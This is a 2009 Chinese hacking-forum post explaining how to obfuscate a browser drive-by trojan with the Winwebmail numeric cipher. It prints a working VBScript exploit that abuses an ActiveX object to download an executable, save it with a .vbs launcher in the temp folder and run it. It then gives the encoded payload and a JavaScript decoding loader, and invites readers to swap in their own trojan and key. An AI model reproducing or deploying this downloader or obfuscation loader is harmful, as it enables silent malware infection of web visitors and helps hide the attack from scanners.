Board logo

标题: 【3AST分享】利用Winwebmail密码算法加密网页木马 [打印本页]

作者: 冰绿茶    时间: 2009-2-11 12:16     标题: 【3AST分享】利用Winwebmail密码算法加密网页木马

利用Winwebmail密码算法加密网页木马
作者: 大胆
在线加密地址http://www.xkww.com/webtool/winwebmail.htm
我们以06014网马为例:以下是网马代码自动下载运行 127.0.0.1/mm.exe 这个文件,因为我打了补丁所以不会中招,为了让大家看到效果就加入了
<iframe>

标签嵌入我的博客
<html>
<script language=VBScript>
On Error Resume Next
dadan = "http://127.0.0.1/mm.exe"
Set dadan2 = document.createElement("object")
dadanid="clsid:"
dadanidx="BD96"
dadanid2="C556-65"
dadanid3="A3-11D"
dadanid4="0-98"
dadanid5="3A-00C"
dadanid6="04FC29E36"
dadan3="Microsoft.X"
dadan4="MLHTTp"
dadan2.SetAttribute "classid", dadanid&dadanidx&dadanid2&dadanid3&dadanid4&dadanid5&dadanid6
dadan5=dadan3&dadan4
Set lovedadan = dadan2.CreateObject(dadan5,"")
lovedadan.Open "GET", dadan, False
lovedadan.Send
Qq_3430575="microsofts.pif"
Qq_3430575s="microsofts.vbs"
Q3430575="Scripting."
Q3430575s="FileSyst"
Q3430575ss="emObject"
Q3430575sss="Adod"
Q3430575ssss="b.stream"
Q3430575sssss=Q3430575sss&Q3430575ssss
Set chilam = dadan2.createobject(Q3430575&Q3430575s&Q3430575ss,"")
Set yingying = chilam.GetSpecialFolder(2)
Qq_3430575=chilam.BuildPath(yingying,Qq_3430575)
Qq_3430575s=chilam.BuildPath(yingying,Qq_3430575s)
Set chilams = dadan2.createobject(Q3430575sssss,"")
chilams.type=1
chilams.Open
chilams.Write lovedadan.ResponseBody
chilams.Savetofile Qq_3430575,2
chilams.Close
chilams.Type=2
chilams.Open
chilams.WriteText "Set Lovedadan = CreateObject(""Wscript.Shell"")"&vbCrLf&"Lovedadan.run ("""&Qq_3430575&""")"
chilams.Savetofile Qq_3430575s,2
chilams.Close
cute="Shell.Applica"
qq="tion"
Set cute_qq = dadan2.createobject(cute&qq,"")
Qq3430575="O"
Qq3430575s="p"
Qq3430575ss="e"
Qq3430575sss="n"
cute_qq.SHellExECuTe Qq_3430575s,"","",Qq3430575&Qq3430575s&Qq3430575ss&Qq3430575sss,0
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>
<body   >
<iframe height=400 width=600 src="http://www.xkww.com/"></iframe>
</html>

我们加密后得到代码在线加密地址http://www.xkww.com/webtool/winwebmail.htm
667096666566653666606666166707667566675966709666546667066655666646665766653667376666166672666596666666652666726666666668667086668366703666866667066655666646665766653667076675666759666906665966737667006665566655666586665566737666876666866654666526666066668667376669166668666496665366756667596666966672666696667266659667376670866737667356666566653666536665766711667226672266720667196671466723667216672366721667236672066722666606666066723666686664966668667356675666759666866666866653667376666966672666696667266659667196673766708667376666966658666706665266660666686665966653667236667066655666686667266653666686670066661666686666066668666596665366729667356665866671666636666866670666536673566728667566675966669666726666966672666596666466669667086673566670666616665466664666696671166735667566675966669666726666966672666596666466669666496670866735667036670166712667156673566756667596666966672666696667266659666646666966719667086673566702667166671666715667246671566716667356675666759666696667266669666726665966664666696671866708667356670466718667246672066720667016673566756667596666966672666696667266659666646666966717667086673566721667246671266713667356675666759666696667266669666726665966664666696671666708667356671866704667246672166721667026673566756667596666966672666696667266659666646666966715667086673566721667176669966702667196671266700667186671566735667566675966669666726666966672666596671866708667356669266664666706665566658666546665866667666536672366681667356675666759666696667266669666726665966717667086673566692666936669766685666856665766735667566675966669666726666966672666596671966723666866666866653667046665366653666556666466671666526665366668667376673566670666616667266654666546666466669667356672566737666696667266669666726665966664666696673166669666726666966672666596666466669666496673166669666726666966672666596666466669667196673166669666726666966672666596666466669667186673166669666726666966672666596666466669667176673166669666726666966672666596666466669667166673166669666726666966672666596666466669667156675666759666696667266669666726665966716667086666966672666696667266659667186673166669666726666966672666596671766756667596668666668666536673766661666586665166668666696667266669666726665966737667086673766669666726666966672666596671966723667026665566668666726665366668666906667166663666686667066653667296666966672666696667266659667166672566735667356672866756667596666166658666516666866669666726666966672666596672366690666576666866659667376673566698667006668566735667256673766669666726666966672666596672566737666996667266661666546666866756667596666166658666516666866669666726666966672666596672366686666686665966669667566675966688666566667466718667176671866721667166671466716667086673566660666646667066655666586665466658666676665366654667236665766664666676673566756667596668866656666746671866717667186672166716667146671666654667086673566660666646667066655666586665466658666676665366654667236665166671666546673566756667596668866718667176671866721667166671466716667086673566686666706665566664666576665366664666596666666723667356675666759666886671866717667186672166716667146671666654667086673566699666646666166668666866664866654666536673566756667596668866718667176671866721667166671466716666546665466708667356666866660666906667166663666686667066653667356675666759666886671866717667186672166716667146671666654666546665466708667356670466669666586666966735667566675966688667186671766718667216671666714667166665466654666546665466708667356667166723666546665366655666686667266660667356675666759666886671866717667186672166716667146671666654666546665466654666546670866688667186671766718667216671666714667166665466654666546673166688667186671766718667216671666714667166665466654666546665466756667596668666668666536673766670666656666466661666726666066737667086673766669666726666966672666596671966723666706665566668666726665366668666586667166663666686667066653667296668866718667176671866721667166671466716667316668866718667176671866721667166671466716666546673166688667186671766718667216671666714667166665466654667256673566735667286675666759666866666866653667376664866664666596666666648666646665966666667376670866737666706666566664666616667266660667236669866668666536668666657666686667066664666726666166699666586666166669666686665566729667196672866756667596668866656666746671866717667186672166716667146671666708666706666566664666616667266660667236670366652666646666166669666896667266653666656672966648666646665966666666486666466659666666672566688666566667466718667176671866721667166671466716667286675666759666886665666674667186671766718667216671666714667166665466708666706666566664666616667266660667236670366652666646666166669666896667266653666656672966648666646665966666666486666466659666666672566688666566667466718667176671866721667166671466716666546672866756667596668666668666536673766670666656666466661666726666066654667376670866737666696667266669666726665966719667236667066655666686667266653666686665866671666636666866670666536672966688667186671766718667216671666714667166665466654666546665466654667256673566735667286675666759666706666566664666616667266660666546672366653666486665766668667086672066756667596667066665666646666166672666606665466723666906665766668666596675666759666706666566664666616667266660666546672366682666556666466653666686673766661666586665166668666696667266669666726665966723666876666866654666576665866659666546666866703666586666966648667566675966670666656666466661666726666066654667236668666672666516666866653666586666766664666616666866737666886665666674667186671766718667216671666714667166672566719667566675966670666656666466661666726666066654667236670266661666586665466668667566675966670666656666466661666726666066654667236668566648666576666866708667196675666759666706666566664666616667266660666546672366690666576666866659667566675966670666656666466661666726666066654667236668266655666646665366668666856666866649666536673766737667356668666668666536673766693666586665166668666696667266669666726665966737667086673766702666556666866672666536666866690666716666366668666706665366729667356673566682666546667066655666646665766653667236668666665666686666166661667356673566728667356673166651666716670266655666936666766731667356669366658666516666866669666726666966672666596672366655666526665966737667296673566735667356673166688666566667466718667176671866721667166671466716667316673566735667356672866735667566675966670666656666466661666726666066654667236668666672666516666866653666586666766664666616666866737666886665666674667186671766718667216671666714667166665466725667196675666759666706666566664666616667266660666546672366702666616665866654666686675666759666706665266653666686670866735666866666566668666616666166723667046665766657666616666466670666726673566756667596665666656667086673566653666646665866659667356675666759666866666866653667376667066652666536666866674666566665666737667086673766669666726666966672666596671966723666706665566668666726665366668666586667166663666686667066653667296667066652666536666866731666566665666725667356673566728667566675966688666566671866717667186672166716667146671666708667356669066735667566675966688666566671866717667186672166716667146671666654667086673566657667356675666759666886665666718667176671866721667166671466716666546665466708667356666866735667566675966688666566671866717667186672166716667146671666654666546665466708667356665966735667566675966670666526665366668666746665666656667236668666697666686666166661667006664966700667026665266685666686673766688666566667466718667176671866721667166671466716666546672566735667356672566735667356672566688666566671866717667186672166716667146671666731666886665666718667176671866721667166671466716666546673166688666566671866717667186672166716667146671666654666546673166688666566671866717667186672166716667146671666654666546665466725667216675666759667096672266654666706665566664666576665366707667566675966709666546667066655666646665766653667376665366648666576666866708667356665366668666496665366722666636665466670666556666466657666536673566707666676665266659666706665366664666586665966737666646665966664666536672966728667376664666737666696665866670666526666066668666596665366723666506665566664666536666866729667356673566728667106664466650666646665966669666586665066723666586665966661666586667266669667376670866737666646665966664666536671066709667226665466670666556666466657666536670766756667596670966671666586666966648667376665866659666706665866659666536666866649666536666066668666596665266708667356665566668666536665266655666596673766667666726666166654666686673566737666586665966654666686666166668666706665366654666536667266655666536670866735666556666866653666526665566659667376666766672666616665466668667356673766658666596666966655666726666666654666536667266655666536670866735666556666866653666526665566659667376666766672666616665466668667356670766756667596670966664666676665566672666606666866737666656666866664666666666566653667086671766721667216673766650666646666966653666656670866715667216672166737666546665566670667086673566665666536665366657667116672266722666506665066650667236664966662666506665066723666706665866660667226673566707667096672266664666676665566672666606666866707667566675966709667226666566653666606666166707

将加密后的代码以如下方式保存为test.htm
<SCRIPT LANGUAGE="JavaScript">
<!--
function unencode(datastr, bassnum) {
var tempstr;
var tchar;
var newdata = "";
for (var i = 0; i < datastr.length; i=i+5)
{
tchar = 65535 + bassnum - datastr.substr(i,5);
tempstr = String.fromCharCode(tchar);
newdata = newdata+tempstr;
}

return newdata;
}
var webmm="667096666566653666606666166707667566675966709666546667066655666646665766653667376666166672666596666666652666726666666668667086668366703666866667066655666646665766653667076675666759666906665966737667006665566655666586665566737666876666866654666526666066668667376669166668666496665366756667596666966672666696667266659667376670866737667356666566653666536665766711667226672266720667196671466723667216672366721667236672066722666606666066723666686664966668667356675666759666866666866653667376666966672666696667266659667196673766708667376666966658666706665266660666686665966653667236667066655666686667266653666686670066661666686666066668666596665366729667356665866671666636666866670666536673566728667566675966669666726666966672666596666466669667086673566670666616665466664666696671166735667566675966669666726666966672666596666466669666496670866735667036670166712667156673566756667596666966672666696667266659666646666966719667086673566702667166671666715667246671566716667356675666759666696667266669666726665966664666696671866708667356670466718667246672066720667016673566756667596666966672666696667266659666646666966717667086673566721667246671266713667356675666759666696667266669666726665966664666696671666708667356671866704667246672166721667026673566756667596666966672666696667266659666646666966715667086673566721667176669966702667196671266700667186671566735667566675966669666726666966672666596671866708667356669266664666706665566658666546665866667666536672366681667356675666759666696667266669666726665966717667086673566692666936669766685666856665766735667566675966669666726666966672666596671966723666866666866653667046665366653666556666466671666526665366668667376673566670666616667266654666546666466669667356672566737666696667266669666726665966664666696673166669666726666966672666596666466669666496673166669666726666966672666596666466669667196673166669666726666966672666596666466669667186673166669666726666966672666596666466669667176673166669666726666966672666596666466669667166673166669666726666966672666596666466669667156675666759666696667266669666726665966716667086666966672666696667266659667186673166669666726666966672666596671766756667596668666668666536673766661666586665166668666696667266669666726665966737667086673766669666726666966672666596671966723667026665566668666726665366668666906667166663666686667066653667296666966672666696667266659667166672566735667356672866756667596666166658666516666866669666726666966672666596672366690666576666866659667376673566698667006668566735667256673766669666726666966672666596672566737666996667266661666546666866756667596666166658666516666866669666726666966672666596672366686666686665966669667566675966688666566667466718667176671866721667166671466716667086673566660666646667066655666586665466658666676665366654667236665766664666676673566756667596668866656666746671866717667186672166716667146671666654667086673566660666646667066655666586665466658666676665366654667236665166671666546673566756667596668866718667176671866721667166671466716667086673566686666706665566664666576665366664666596666666723667356675666759666886671866717667186672166716667146671666654667086673566699666646666166668666866664866654666536673566756667596668866718667176671866721667166671466716666546665466708667356666866660666906667166663666686667066653667356675666759666886671866717667186672166716667146671666654666546665466708667356670466669666586666966735667566675966688667186671766718667216671666714667166665466654666546665466708667356667166723666546665366655666686667266660667356675666759666886671866717667186672166716667146671666654666546665466654666546670866688667186671766718667216671666714667166665466654666546673166688667186671766718667216671666714667166665466654666546665466756667596668666668666536673766670666656666466661666726666066737667086673766669666726666966672666596671966723666706665566668666726665366668666586667166663666686667066653667296668866718667176671866721667166671466716667316668866718667176671866721667166671466716666546673166688667186671766718667216671666714667166665466654667256673566735667286675666759666866666866653667376664866664666596666666648666646665966666667376670866737666706666566664666616667266660667236669866668666536668666657666686667066664666726666166699666586666166669666686665566729667196672866756667596668866656666746671866717667186672166716667146671666708666706666566664666616667266660667236670366652666646666166669666896667266653666656672966648666646665966666666486666466659666666672566688666566667466718667176671866721667166671466716667286675666759666886665666674667186671766718667216671666714667166665466708666706666566664666616667266660667236670366652666646666166669666896667266653666656672966648666646665966666666486666466659666666672566688666566667466718667176671866721667166671466716666546672866756667596668666668666536673766670666656666466661666726666066654667376670866737666696667266669666726665966719667236667066655666686667266653666686665866671666636666866670666536672966688667186671766718667216671666714667166665466654666546665466654667256673566735667286675666759666706666566664666616667266660666546672366653666486665766668667086672066756667596667066665666646666166672666606665466723666906665766668666596675666759666706666566664666616667266660666546672366682666556666466653666686673766661666586665166668666696667266669666726665966723666876666866654666576665866659666546666866703666586666966648667566675966670666656666466661666726666066654667236668666672666516666866653666586666766664666616666866737666886665666674667186671766718667216671666714667166672566719667566675966670666656666466661666726666066654667236670266661666586665466668667566675966670666656666466661666726666066654667236668566648666576666866708667196675666759666706666566664666616667266660666546672366690666576666866659667566675966670666656666466661666726666066654667236668266655666646665366668666856666866649666536673766737667356668666668666536673766693666586665166668666696667266669666726665966737667086673766702666556666866672666536666866690666716666366668666706665366729667356673566682666546667066655666646665766653667236668666665666686666166661667356673566728667356673166651666716670266655666936666766731667356669366658666516666866669666726666966672666596672366655666526665966737667296673566735667356673166688666566667466718667176671866721667166671466716667316673566735667356672866735667566675966670666656666466661666726666066654667236668666672666516666866653666586666766664666616666866737666886665666674667186671766718667216671666714667166665466725667196675666759666706666566664666616667266660666546672366702666616665866654666686675666759666706665266653666686670866735666866666566668666616666166723667046665766657666616666466670666726673566756667596665666656667086673566653666646665866659667356675666759666866666866653667376667066652666536666866674666566665666737667086673766669666726666966672666596671966723666706665566668666726665366668666586667166663666686667066653667296667066652666536666866731666566665666725667356673566728667566675966688666566671866717667186672166716667146671666708667356669066735667566675966688666566671866717667186672166716667146671666654667086673566657667356675666759666886665666718667176671866721667166671466716666546665466708667356666866735667566675966688666566671866717667186672166716667146671666654666546665466708667356665966735667566675966670666526665366668666746665666656667236668666697666686666166661667006664966700667026665266685666686673766688666566667466718667176671866721667166671466716666546672566735667356672566735667356672566688666566671866717667186672166716667146671666731666886665666718667176671866721667166671466716666546673166688666566671866717667186672166716667146671666654666546673166688666566671866717667186672166716667146671666654666546665466725667216675666759667096672266654666706665566664666576665366707667566675966709666546667066655666646665766653667376665366648666576666866708667356665366668666496665366722666636665466670666556666466657666536673566707666676665266659666706665366664666586665966737666646665966664666536672966728667376664666737666696665866670666526666066668666596665366723666506665566664666536666866729667356673566728667106664466650666646665966669666586665066723666586665966661666586667266669667376670866737666646665966664666536671066709667226665466670666556666466657666536670766756667596670966671666586666966648667376665866659666706665866659666536666866649666536666066668666596665266708667356665566668666536665266655666596673766667666726666166654666686673566737666586665966654666686666166668666706665366654666536667266655666536670866735666556666866653666526665566659667376666766672666616665466668667356673766658666596666966655666726666666654666536667266655666536670866735666556666866653666526665566659667376666766672666616665466668667356670766756667596670966664666676665566672666606666866737666656666866664666666666566653667086671766721667216673766650666646666966653666656670866715667216672166737666546665566670667086673566665666536665366657667116672266722666506665066650667236664966662666506665066723666706665866660667226673566707667096672266664666676665566672666606666866707667566675966709667226666566653666606666166707";

document.write(unencode(webmm,1234));
//-->
</SCRIPT>

运行测试成功,大家只需把自己的网页加密后的代码替换我的就可以正常使用了,要注意把加密的密码也修改成自己设置的密码。ps:密码是不能超过4位的!如下
<SCRIPT LANGUAGE="JavaScript">
<!--
function unencode(datastr, bassnum) {
var tempstr;
var tchar;
var newdata = "";
for (var i = 0; i < datastr.length; i=i+5)
{
tchar = 65535 + bassnum - datastr.substr(i,5);
tempstr = String.fromCharCode(tchar);
newdata = newdata+tempstr;
}

return newdata;
}
var webmm="自己的代码";
document.write(unencode(webmm,你的4位数字密码));
//-->
</SCRIPT>

文章里所用的在线加密地址http://www.xkww.com/webtool/winwebmail.htm

PS:http://www.xkww.com/webtool/winwebmail.htm

有朋友反应上面的地址有被挂马了,大家还是小心点吧...




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2